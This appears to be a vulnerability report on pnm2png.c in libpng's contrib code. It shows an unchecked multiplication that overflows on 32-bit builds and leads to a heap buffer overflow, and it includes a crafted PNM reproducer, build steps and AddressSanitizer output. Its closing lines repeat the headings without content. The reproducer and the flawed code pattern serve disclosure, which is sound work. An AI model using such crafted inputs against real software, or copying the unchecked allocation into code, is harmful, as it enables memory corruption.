From https://github.com/pnggroup/pngcontrib/blob/main/pngminus/pnm2png.c#L379
/* allocate the rows using the same memory layout as libpng, and transfer
* their ownership to libpng, with the responsibility to clean everything up;
* please note the use of png_calloc instead of png_malloc */
row_pointers = (png_byte **)
png_calloc (png_ptr, height * sizeof (png_byte *));
png_set_rows (png_ptr, info_ptr, row_pointers);
png_data_freer (png_ptr, info_ptr, PNG_DESTROY_WILL_FREE_DATA, PNG_FREE_ALL);
for (row = 0; row < height; row++)
{
row_pointers[row] = (png_byte *) png_malloc (png_ptr, row_bytes);
}
The multiplication height * sizeof(png_byte *) has no overflow check. On a 32-bit system where sizeof(png_byte *) is 4, a crafted height value causes the product to wrap around, resulting in a tiny allocation. The subsequent loop writes height pointers into this undersized buffer - a heap-buffer-overflow.
height = 0x40000001 // (1 073 741 825)
sizeof(png_byte*) = 4
height * 4 = 0x1_0000_0004 // truncated to 0x4 on 32-bit
// png_calloc allocates 4 bytes (room for 1 pointer).
// Loop writes 1,073,741,825 pointers → immediate out-of-bounds write.
Reproducer
proof.pnm
P5
1 1073741825
255
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Steps to reproduce:
cmake .. \
-DPNG_SHARED=OFF \
-DPNG_STATIC=ON \
-DPNG_FRAMEWORK=OFF \
-DPNG_TESTS=OFF \
-DPNG_TOOLS=OFF \
-DCMAKE_C_FLAGS="-m32 -fsanitize=address,undefined" \
-DCMAKE_EXE_LINKER_FLAGS="-m32 -fsanitize=address,undefined"
make -j$(nproc)
cc -m32 -fsanitize=address,undefined \
-Ilibpng \
-Ilibpng/build-asan \
-o pnm2png \
libpng/contrib/pngminus/pnm2png.c \
libpng/build-asan/libpng18.a \
-lz -lm \
-fsanitize=address,undefined
ASAN_OPTIONS=detect_leaks=0 ./pnm2png proof.pnm /dev/null
Output
==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5d00794 at pc 0x56663c23 bp 0xffb3a708 sp 0xffb3a6fc
WRITE of size 4 at 0xf5d00794 thread T0
#0 0x56663c22 in do_pnm2png (/build/pnm2png+0x7fc22)
#1 0x56662b4b in pnm2png (/build/pnm2png+0x7eb4b)
#2 0x5666231c in main (/build/pnm2png+0x7e31c)
#3 0xf709a2d4 (/lib/i386-linux-gnu/libc.so.6+0x232d4)
#4 0xf709a397 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x23397)
#5 0x56661466 in _start (/build/pnm2png+0x7d466)
0xf5d00794 is located 0 bytes to the right of 4-byte region [0xf5d00790,0xf5d00794)
allocated by thread T0 here:
#0 0xf799bb2b in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x566801e8 in png_malloc_base (/build/pnm2png+0x9c1e8)
#2 0x56680465 in png_malloc (/build/pnm2png+0x9c465)
#3 0x5668008d in png_calloc (/build/pnm2png+0x9c08d)
#4 0x56663b1e in do_pnm2png (/build/pnm2png+0x7fb1e)
#5 0x56662b4b in pnm2png (/build/pnm2png+0x7eb4b)
#6 0x5666231c in main (/build/pnm2png+0x7e31c)
#7 0xf709a2d4 (/lib/i386-linux-gnu/libc.so.6+0x232d4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/build/pnm2png+0x7fc22) in do_pnm2png
Shadow bytes around the buggy address:
0x3eba00a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba00b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba00c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba00d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba00e0: fa fa fa fa fa fa fa fa fa fa 01 fa fa fa 01 fa
=>0x3eba00f0: fa fa[04]fa fa fa 00 00 fa fa fa fa fa fa fa fa
0x3eba0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
==8==ABORTING
=== Exit code: 1 ===
From https://github.com/pnggroup/pngcontrib/blob/main/pngminus/pnm2png.c#L379
The multiplication height * sizeof(png_byte *) has no overflow check. On a 32-bit system where sizeof(png_byte *) is 4, a crafted height value causes the product to wrap around, resulting in a tiny allocation. The subsequent loop writes height pointers into this undersized buffer - a heap-buffer-overflow.
Reproducer
proof.pnm
Steps to reproduce:
Output